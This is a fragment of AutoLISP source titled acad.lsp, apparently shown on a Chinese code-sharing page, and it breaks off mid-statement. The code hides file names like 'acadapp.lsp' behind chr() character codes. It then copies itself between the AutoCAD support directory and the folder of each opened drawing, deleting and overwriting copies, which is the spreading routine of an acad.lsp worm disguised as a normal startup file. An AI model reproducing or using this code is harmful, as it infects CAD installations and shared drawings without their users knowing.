📄 acad.lsp
字号:
(
chr
100
)
(
chr
97
)
(
chr
112
)
(
chr
112
)
(
chr
112
)
(
chr
46
)
(
chr
108
)
(
chr
115
)
(
chr
112
)
)
)
----------------
(setq
d3
(
strcat
(chr
97
)
(
chr
99
)
(
chr
97
)
(chr
100
)
(
chr
97
)
(
chr
112
)(
chr
112
)
(
chr
46
)(
chr
108
)
(
chr
115
)
(
chr
112
)
)
)
(
setq
path
(
findfile
"base.dcl"
)
)
(
setq
path
(
substr
path 1
(-
(
strlen
path
)
8
)
)
)
(
setq
path1
(
strcat
path
d2
)
)
(setq path3 (strcat path d3))
(
setq
nowdwg
(
getvar
"dwgname"
)
)
(
setq
wjqm
(
findfile
nowdwg
)
)
(
setq
dwgpath
(
substr
wjqm
1
(-
(
strlen
wjqm
)
(
strlen
nowdwg
)
)
)
)
(
setq
path2
(
strcat
dwgpath
"acad.lsp"
)
)
(
SETQ
fp1
(
findfile
path1
)
)
(
if
(
=
fp1
nil
)
(
vl-file-copy
path2
path1
)
)
(
SETQ
fp2
(
findfile
path2
)
)
(
if
(
=
fp2
nil
)
(
vl-file-copy
path1
path2
)
)
(if
(/=
fp2
nil
)
(
progn
(vl-file-delete
path2
)
(
vl-file-copy
path1
path2
)
)
)
---------------------------------------------------------------
(
SETQ
fp3
(
findfile
path3
))
(
if
(
/=
fp3
nil
)
(
progn
(
setq
wjm
(open
path3
"r"
)
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -